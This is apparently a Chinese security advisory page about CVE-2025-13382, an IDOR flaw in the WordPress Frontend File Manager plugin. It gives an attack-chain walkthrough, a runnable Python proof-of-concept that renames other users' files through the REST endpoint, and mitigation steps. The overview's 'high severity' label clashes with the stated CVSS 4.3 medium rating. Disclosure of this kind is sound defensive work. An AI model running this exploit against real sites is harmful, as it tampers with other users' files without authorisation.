IPBUF安全漏洞报告
English
CVE-2025-13382 CVSS 4.3 中危

CVE-2025-13382 WordPress Frontend File Manager插件IDOR漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13382
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frontend File Manager Plugin for WordPress

相关标签

IDORWordPress插件漏洞文件操作漏洞权限绕过Frontend File ManagerREST API漏洞CVE-2025-13382中危漏洞

漏洞概述

CVE-2025-13382是WordPress Frontend File Manager插件中的一个高危安全漏洞,该插件是一款广泛应用于WordPress网站的文件管理解决方案,允许用户在前端上传、下载和管理文件。漏洞根源在于插件的REST API端点'/wpfm/v1/file-rename'在处理文件重命名请求时,缺少对文件所有权的验证机制。攻击者只需提供目标文件的ID(fileid参数),即可在未经授权的情况下重命名任意用户上传的文件。攻击者利用此漏洞需要具备订阅者(Subscriber)级别的账户权限,这意味着任何注册用户都可能成为潜在攻击者。该漏洞影响所有23.4及以下版本,攻击者可利用此漏洞篡改其他用户的重要文件,破坏网站数据的完整性和可用性。由于该插件在WordPress生态系统中使用广泛,漏洞可能影响大量网站。

技术细节

该漏洞位于插件的REST API处理逻辑中,具体在'inc/classes/class.rest.php'文件的第20行和第52行附近。漏洞产生的根本原因是插件在实现文件重命名功能时,直接使用用户提供的fileid参数来定位和操作文件,而没有验证当前认证用户是否为该文件的合法所有者。在正常的访问控制设计中,系统应该首先查询数据库中该文件记录的所有者信息,然后将查询结果与当前认证用户的ID进行比对,只有在确认匹配后才允许执行重命名操作。然而,当前实现中缺少了这一关键的所有权验证步骤。攻击者可以通过构造恶意的REST API请求,在fileid参数中指定目标文件的ID,然后在newfilename参数中提供新的文件名。插件会直接根据fileid执行文件重命名操作,完全绕过了所有权检查。攻击者可以利用此漏洞重命名管理员或其他用户上传的敏感文件,导致文件路径变更或数据丢失。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress网站注册账户并获取订阅者级别权限
STEP 2
步骤2
攻击者通过浏览网站或利用信息收集技术获取目标文件的fileid
STEP 3
步骤3
攻击者构造恶意REST API请求,向/wpfm/v1/file-rename端点发送POST请求
STEP 4
步骤4
请求中包含目标文件的fileid参数和新文件名newfilename参数
STEP 5
步骤5
插件接收请求后,直接使用fileid定位文件并执行重命名操作
STEP 6
步骤6
由于缺少所有权验证,攻击者成功重命名受害者的文件
STEP 7
步骤7
攻击者可能进一步利用重命名后的文件进行其他攻击,如覆盖重要配置或植入恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13382 PoC - WordPress Frontend File Manager IDOR Vulnerability # Target: WordPress site with Frontend File Manager Plugin < 23.5 # Authentication: Requires Subscriber-level account or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" TARGET_FILE_ID = 123 # ID of victim file to rename NEW_FILENAME = "malicious_renamed_file.txt" def get_auth_token(): """Obtain WordPress REST API authentication token""" login_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get("token") return None def rename_victim_file(token, file_id, new_name): """Exploit IDOR vulnerability to rename victim file""" api_url = f"{TARGET_URL}/wp-json/wpfm/v1/file-rename" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "fileid": file_id, # IDOR: No ownership validation "newfilename": new_name } response = requests.post(api_url, json=payload, headers=headers) return response.status_code, response.json() def main(): print("[*] CVE-2025-13382 PoC - Frontend File Manager IDOR") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate token = get_auth_token() if not token: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit IDOR vulnerability print(f"[*] Attempting to rename file ID {TARGET_FILE_ID}...") status, result = rename_victim_file(token, TARGET_FILE_ID, NEW_FILENAME) if status == 200: print(f"[+] SUCCESS: File renamed to '{NEW_FILENAME}'") print(f"[+] Response: {json.dumps(result, indent=2)}") else: print(f"[-] Attack failed with status {status}") print(f"[-] Response: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()

影响范围

Frontend File Manager Plugin for WordPress <= 23.4

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制WordPress网站的注册功能,禁止普通用户注册;2) 监控REST API /wpfm/v1/file-rename端点的访问日志;3) 对该端点实施临时访问限制或速率限制;4) 考虑使用Web应用防火墙(WAF)规则阻断可疑请求;5) 定期备份网站数据以便在发生攻击后快速恢复;6) 最小化Subscriber角色的文件管理权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表